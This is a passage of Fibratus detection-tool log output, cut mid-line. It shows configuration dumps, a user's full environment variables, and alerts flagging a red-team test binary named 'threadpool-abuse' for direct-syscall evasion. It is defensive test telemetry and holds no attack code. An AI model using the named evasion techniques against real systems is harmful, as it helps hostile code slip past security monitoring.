Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:48:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:48:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:48:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:48:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:48:57+01:00 level=info msg=bootstrapping with pid 10640. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:48:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ to=>[] port=>25 use-template=>true content-type=>text/html enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-threadpool=>true max-buffers=>36 min-buffers=>16 flush-interval=>1s enable-handle=>false enable-dns=>false stack-enrichment=>true enable-thread=>true enable-audit-api=>true enable-mem=>false enable-net=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-image=>true enable-fileio=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info formatter=>text log-stdout=>true max-age=>0] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false passive=>false timeout=>5s exchange-type=>topic enabled=>false durable=>false exchange=>fibratus vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient] http=>[ timeout=>5s serializer=>json endpoints=>[] method=>POST enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ index-name=>fibratus timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck=>true flush-period=>1s enabled=>false healthcheck-interval=>10s healthcheck-timeout=>5s gzip-compression=>false bulk-workers=>1 template-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:48:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:49:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:49:04+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2216108 + Pid: 1212 + Tid: 20160 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:49:03.3945204 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 16922691a80, subprocess_tag➜ 0, task_id➜ 169226a3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 1212 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:49:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:49:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:49:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:50:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:50:21+01:00 level=info msg=bootstrapping with pid 13264. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:50:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-image=>true enable-handle=>false enable-threadpool=>true enable-dns=>false enable-vamap=>true enable-thread=>true enable-audit-api=>true enable-fileio=>true flush-interval=>1s max-buffers=>36 enable-mem=>false enable-registry=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] elasticsearch=>[ healthcheck=>true healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus enabled=>false flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s trace-log=>false timeout=>5s bulk-workers=>1 sniff=>false servers=>[http://127.0.0.1:9200]] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] timeout=>5s serializer=>json method=>POST enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false] amqp=>[ durable=>false vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient exchange=>fibratus enabled=>false routing-key=>fibratus passive=>false]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:50:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:50:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:50:27+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2236706 + Pid: 22392 + Tid: 7512 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:50:27.2317852 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1654a701a80, subprocess_tag➜ 0, task_id➜ 1654a713aa8 + Metadata: evasions: [direct_syscall] + + Pid: 22392 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:52:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:52:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:52:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:53:05+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:53:05+01:00 level=info msg=bootstrapping with pid 5464. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:53:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-audit-api=>true enable-dns=>false enable-image=>true min-buffers=>16 enable-mem=>false enable-threadpool=>true enable-fileio=>true enable-registry=>true flush-interval=>1s enable-net=>true buffer-size=>512 stack-enrichment=>true max-buffers=>36 enable-handle=>false enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ 